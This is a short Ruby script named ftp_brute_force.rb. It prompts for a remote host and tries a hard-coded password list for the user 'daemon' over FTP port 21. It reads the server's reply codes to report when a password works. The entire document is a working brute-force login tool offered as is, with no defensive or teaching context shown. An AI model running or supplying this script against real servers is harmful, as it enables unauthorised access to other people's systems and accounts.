ftp_brute_force.rb

require 'socket'

def tcpconnect(username, password)
	temp_data = ''

	begin
		s = TCPSocket.new($host, 21)

		temp_data = s.gets
		s.puts("USER #{username}\r\n")
		temp_data = s.gets
		s.puts("PASS #{password}\r\n")
		temp_data = s.gets
		s.puts("QUIT\r\n")
		s.close()
	rescue Exception=>e
		temp_data = '404'
	end

	return temp_data
end

line = "\n-------------------------------------------------"
print "[*] Enter Remote Host Address: "
$host = gets.chomp()
puts
username = 'daemon'
password_list = ['cracker', 'hacker', 'ghost','admin','skyrocket']
password_list.each do |x|
	attemp = tcpconnect(username, x)

	if attemp.include? "230"
		puts "#{line} [*] Username: #{username} [*] Password found #{x} #{line}"
		exit
	elsif attemp.include? "530"
		puts "[*] Username: #{username} Password #{x} [*] Login incorrect!"
	elsif attemp.include? "404"
	puts "[*] Connection was refused by remote host"
	break
	end		
end